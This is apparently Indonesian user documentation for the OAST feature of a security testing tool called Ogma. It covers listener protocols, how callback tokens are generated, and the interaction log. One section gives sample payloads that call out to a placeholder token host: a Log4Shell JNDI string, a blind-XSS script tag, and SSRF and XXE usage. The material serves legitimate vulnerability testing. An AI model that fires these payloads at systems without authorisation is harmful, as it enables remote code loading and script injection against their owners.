OAST
OAST (Out-of-Band Application Security Testing) mendeteksi kerentanan yang tidak menghasilkan respons terlihat - sebagai gantinya, target membuat koneksi keluar ke listener yang Anda kendalikan, sehingga mengonfirmasi masalah.
Cara Kerja
Ogma menjalankan listener lokal pada beberapa protokol. Ketika aplikasi target menghubungi salah satu listener ini, interaksi direkam beserta IP asal, cap waktu, data yang diterima, dan token yang disisipkan.
Protokol listener
| Protokol | Port default | Kasus penggunaan |
|---|---|---|
| HTTP | Dapat dikonfigurasi | SSRF, blind XSS, webhook |
| HTTPS | Dapat dikonfigurasi | SSRF melalui TLS |
| DNS | Dapat dikonfigurasi | Injeksi blind, XXE, log4shell |
| SMTP | Dapat dikonfigurasi | Injeksi header email, SSRF ke layanan email |
Konfigurasikan port listener dan nama domain yang digunakan dalam token yang dihasilkan di panel pengaturan OAST.
Membuat Token Callback
- Buka Utilitas > OAST.
- Klik + Baru, lalu klik Buat untuk membuat token. Setiap token unik untuk setiap pengujian.
- Salin token. Token mencakup domain listener Anda dan pengenal unik agar interaksi dapat dicocokkan kembali dengan pengujian tertentu.
Contoh format token: [unique-id].[your-oast-domain]
Menggunakan Token dalam Payload
Sisipkan token callback ke kolom mana pun yang mungkin digunakan aplikasi untuk membuat koneksi keluar:
- SSRF - gunakan token HTTP/HTTPS sebagai URL target:
https://[token]/ - XXE - rujuk token dalam DOCTYPE atau URL entitas eksternal.
- Log4Shell - sisipkan dalam header:
${jndi:ldap://[token]/a} - Blind XSS - sisipkan sebagai src skrip:
<script src="https://[token]/x.js"></script> - Injeksi SMTP - gunakan sebagai alamat tujuan atau URL dalam header email.
Log Interaksi
Panel interaksi menampilkan setiap callback yang diterima:
| Kolom | Deskripsi |
|---|---|
| Waktu | Saat interaksi diterima |
| Protokol | HTTP, HTTPS, DNS, atau SMTP |
| IP sumber | Alamat IP yang membuat koneksi |
| Token | Token yang dihubungi |
| Data | Path permintaan, nama kueri DNS, atau data SMTP |
Klik baris mana pun untuk melihat detail interaksi lengkap, termasuk header dan isi permintaan jika relevan.
Mencocokkan Interaksi dengan Pengujian
Karena setiap token unik, Anda dapat menyisipkan token berbeda ke parameter atau permintaan berbeda dan menentukan secara tepat titik injeksi yang memicu callback.